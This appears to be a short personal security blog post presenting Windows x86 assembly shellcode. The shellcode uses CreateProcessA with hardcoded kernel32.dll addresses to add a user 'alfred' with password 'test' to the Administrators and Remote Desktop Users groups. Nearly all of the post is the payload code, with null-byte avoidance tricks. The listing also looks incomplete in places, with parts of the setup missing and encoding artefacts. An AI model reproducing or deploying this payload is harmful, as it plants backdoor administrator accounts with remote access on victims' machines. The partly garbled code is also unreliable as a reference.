Author: Armando Huesca Prida
Summary:
Under Construction
Armando Huesca Prida's personal blog about systems security breaches and Internals exploitation
Author: Armando Huesca Prida
Summary:
Under Construction
Summary:
Windows x86 Shellcode that uses CreateProcessA Windows API to add a new user to administrators and remote desktop users group. This shellcode uses JMP/CALL/POP technique and static kernel32.dll functions addresses.
- Function address of CreateProcessA in kernel32.dll: 0x77082082
- Function address of ExitProcess in kernel32.dll: 0x770d214f
- Administartor user credentials: alfred:test
- Size of message db parameter, 152 bytes -> 0x98 hex = 0x111111A9 - 0x11111111 (0x00 badchar avoidance) ;)
Assembly shellcode:
global _start
section .text
_start:
firststep:
pop edi
xor eax, eax
mov esi, 0x111111A9
sub esi, 0x11111111
mov [edi+esi], al ; size of message db parameter
looper:
push ebx
loop looper
;mov word [esp+0x3c], 0x0101 ; dwflag arg in startupinfo
mov bx, 0x1111
sub bx, 0x1010
mov word [esp+0x3c], bx
mov byte [esp+0x10], 0x44; cb=3D0x44
lea eax, [esp+0x10] ; eax points to StartUpInfo
; eax holds a pointer to StartUPinfo
; esp holds a pointer to Process_Info filled of null values
createprocessA:
push esp ; pointer to Process-Info
push eax ; pointer to StartUpInfo
xor ebx, ebx
push ebx ; null
push ebx ; null
push ebx ; null
inc ebx
push ebx ; bInheritHandles=3Dtrue
dec ebx
push ebx ; null
push ebx ; null
push edi ; pointer to message db string
push eax ; createprocessA return in eax
mov edx, 0x770d214f ; ExitProcess addr in kernel32.dll
call edx